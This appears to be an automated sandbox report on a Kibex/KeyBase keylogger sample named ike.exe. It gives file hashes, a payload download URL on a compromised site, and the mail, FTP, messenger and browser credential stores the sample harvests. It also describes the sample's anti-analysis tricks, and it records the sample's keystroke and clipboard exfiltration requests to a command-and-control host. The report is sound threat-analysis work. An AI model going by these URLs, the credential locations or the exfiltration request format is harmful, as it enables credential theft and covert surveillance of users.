ike.exe

Is DLL | Packer | Anti Debug | Anti VM | Signed | XOR

MalFamily: Kibex **MalScore: 100**

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size:	627.50 KB (642560 bytes)
Compile time:	2017-11-13 09:57:21
MD5:	69d45924cd8998fe5a5ea6a50c3f98fd
SHA1:	de7de51a73e0da073ddac179457c0f63417b538c
Import hash:	f34d5f2d4577ed6d9ceec516c1f5a744
Submitted:	2017-11-14 16:00:08

URL(s) file hosting

http://boatebahamas.com/wp-includes/css/Netflix/Login/img/ike.exe

Antivirus Report

Report date	Detection Ratio	Permalink
2017-11-14 13:22:06	20/62	

Import library

mscoree.dll

15 Behaviors detected by system signatures

Created network traffic indicative of malicious activity

- signature: ET TROJAN KeyBase Keylogger HTTP Pattern

- signature: Traffico Anomalo: Traffico verso host malevolo, GET HTTP Content ".php" (Soc-Rule)

Harvests information related to installed mail clients

- file: C:\Users\Seven01\AppData\Local\Microsoft\Windows Live Mail*.oeaccount
- file: C:\Users\Seven01\AppData\Local\Microsoft\Windows Live Mail*.*
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7d19c9e894f20d4780a31c9a9f17da11
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\HTTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\192e64c97bf3a54488a039619c763627
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\00471e98b7a362469ed97e3915fd4111
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\IMAP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\32a3dc9c400a4b448b60ab7fe553a392
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3517490d76624c419a828607e2a54604
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\818ecc2f310b344f807e8af5dc013189
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\HTTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\SMTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\IMAP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\HTTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\POP3 User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\43e0bb79f0f2d84db98ff4f730d23d24
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\SMTP User

- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\7760e21103136b47946c9c80fa097f15
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\IMAP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\6a50d9bd87f9a8478751861a1591a6c2
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\10b0e4d6eb1de34dabd532a0806a0fec
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003\POP3 User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\IMAP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\Calendar Summary\SMTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002\POP3 User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\HTTP User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\POP3 User
- key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001\SMTP User
- key: HKEY_CURRENT_USER\Identities\{141B4688-D8D4-4AD1-B583-99828374C040}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
- key: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
- key: HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts
- key: HKEY_CURRENT_USER\Identities\{141B4688-D8D4-4AD1-B583-99828374C040}\Software\Microsoft\Internet Account Manager\Accounts

Harvests information related to installed instant messenger clients

- key: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
- key: HKEY_CURRENT_USER\Software\IMVU\username
- key: HKEY_CURRENT_USER\Software\Paltalk

Harvests credentials from local FTP client softwares

- file: C:\Users\Seven01\AppData\Roaming\FileZilla\sitemanager.xml
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml

Exhibits behavior characteristic of Kibex Spyware/KeyBase Keylogger

Steals private information from local Internet browsers

- file: C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat

Attempts to repeatedly call a single API many times in order to delay analysis time

- Spam: services.exe (484) called API GetSystemTimeAsFileTime 3364187 times

A process attempted to delay the analysis task by a long amount of time.

- Process: ike.exe tried to sleep 33560 seconds, actually delayed analysis time by 0 seconds
- Process: sppsvc.exe tried to sleep 300 seconds, actually delayed analysis time by 0 seconds

Queries information on disks, possibly for anti-virtualization

Sniffs keystrokes

- SetWindowsHookExA: Process: ike.exe(2096)

Executed a process and injected code into it, probably while unpacking

- Injection: ike.exe(2096) -> ike.exe(2304)

The binary likely contains encrypted or compressed data.

- section: name: .text, entropy: 8.00, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x0009c600, virtual_size: 0x0009c404

Performs some HTTP requests

- url: http://vispra.com/datalog/graphics/ike/post.php?type=clipboard&machinename=SEVEN01-PC&windowtitle=&clipboardtext=hdohaaangittfgo%20iprnubdo%20euowhlnrpeamretaeoiroeemoew%20rdusseitahrnulstmwillgpmhmntlgto%20huettrhphbncnoedrtenh%20tnniensaawtnt%20nclpioismhoe%20auielneaaiseeecowr%20rmnilagofahtaalha%20iueahaybpeebheoooitresgdeaeobaedflnilhue%20are%20asritnlaure%20u&machinetime=22.06
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=22.14
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Start&keystrokestyped=&machinetime=22.14
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=1.04
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=1.04
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=3.49
- url: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=3.50

HTTP traffic contains suspicious features which may be indicative of malware related traffic

- get_no_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious_request: http://vispra.com/datalog/graphics/ike/post.php?type=clipboard&machinename=SEVEN01-PC&windowtitle=&clipboardtext=hdohaaangittfgo%20iprnubdo%20euowhlnrpeamretaeoiroeemoew%20rdusseitahrnulstmwillgpmhmntlgto%20huettrhphbncnoedrtenh%20tnniensaawtnt%20nclpioismhoe%20auielneaaiseeecowr%20rmnilagofahtaalha%20iueahaybpeebheoooitresgdeaeobaedflnilhue%20are%20asritnlaure%20u&machinetime=22.06
- suspicious_request: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=22.14
- suspicious_request: http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&win

dowtitle=Start&keystrokestyped=&machinetime=22.14
- suspicious_request:
http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=1.04
- suspicious_request:
http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=1.04
- suspicious_request:
http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=3.49
- suspicious_request:
http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=3.50

Creates RWX memory

8 HTTP Request(s) detected

http://vispra.com/datalog/graphics/ike/post.php?type=clipboard&machinename=SEVEN01-PC&windowtitle=&clipboardtext=hdohaaangittfgo%20iprnubdo%20euowhlnrpeamretaeoiroeemoew%20rdusseitahrnulstmwillgpmhmntlgto%20huettrhphbncnoedrtenh%20tnniensaawtnt%20nclpioismhoe%20auielneaaiseeecowr%20rmnilagofahtaalha%20iueahaybpeebheoooitresgdeaeobaedflnilhue%20are%20asritnlaure%20u&machinetime=22.06

Hostname: vispra.com

IP Address: 50.23.50.2

Port: 80

Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=22.14

Hostname: vispra.com

IP Address: 50.23.50.2

Port: 80

Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=22.14

Hostname: vispra.com

IP Address: 50.23.50.2

Port: 80

Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Start&keystrokestyped=&machinetime=22.14
Hostname: vispra.com
IP Address: 50.23.50.2
Port: 80
Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=1.04
Hostname: vispra.com
IP Address: 50.23.50.2
Port: 80
Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=1.04
Hostname: vispra.com
IP Address: 50.23.50.2
Port: 80
Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=&keystrokestyped=&machinetime=3.49
Hostname: vispra.com
IP Address: 50.23.50.2
Port: 80
Count: 1

http://vispra.com/datalog/graphics/ike/post.php?type=keystrokes&machinename=SEVEN01-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=3.50
Hostname: vispra.com
IP Address: 50.23.50.2
Port: 80
Count: 1